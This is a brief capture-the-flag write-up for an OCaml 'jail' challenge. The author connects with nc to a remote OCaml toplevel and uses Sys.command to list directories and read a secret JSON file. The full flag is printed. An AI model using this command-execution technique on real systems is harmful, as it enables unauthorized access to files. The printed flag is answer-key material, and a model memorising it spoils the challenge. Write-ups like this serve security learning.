# OJail
```shmj0ln1r@Linux:~/ojail$ nc 20.169.252.240 4201        OCaml version 4.08.1
# ```
Okay its time to learn `OCaml`. I quickly checked the Ocaml hello world program and tried it.
```shmj0ln1r@Linux:~/ojail$ nc 20.169.252.240 4201        OCaml version 4.08.1
# print_string "hello world!\n";;hello world!- : unit = ()# ```Yes, it worked. So, I found that with  `Sys.command` we can executed the system commands. I tried with `ls`. I found that there were a flag.txt but it was not the correct one. Then looked into `secret` directory and catted out the `flag-1d573e0faa99.json`
```shmj0ln1r@Linux:~/ojail$ nc 20.169.252.240 4201        OCaml version 4.08.1
# Sys.command "ls";;Dockerfilebuild.shflag.txtsecret- : int = 0# Sys.command "ls secret";;       flag-1d573e0faa99.json- : int = 0# Sys.command "cat secret/flag-1d573e0faa99.json";;{    "message": "Flag is here. OCaml syntax is easy, right?",    "flag": "cvctf{J41L3d_OOOO-C4mL@@}"}- : int = 0 ```
# [Original Writeup](https://themj0ln1r.github.io/posts/cryptoversectf23)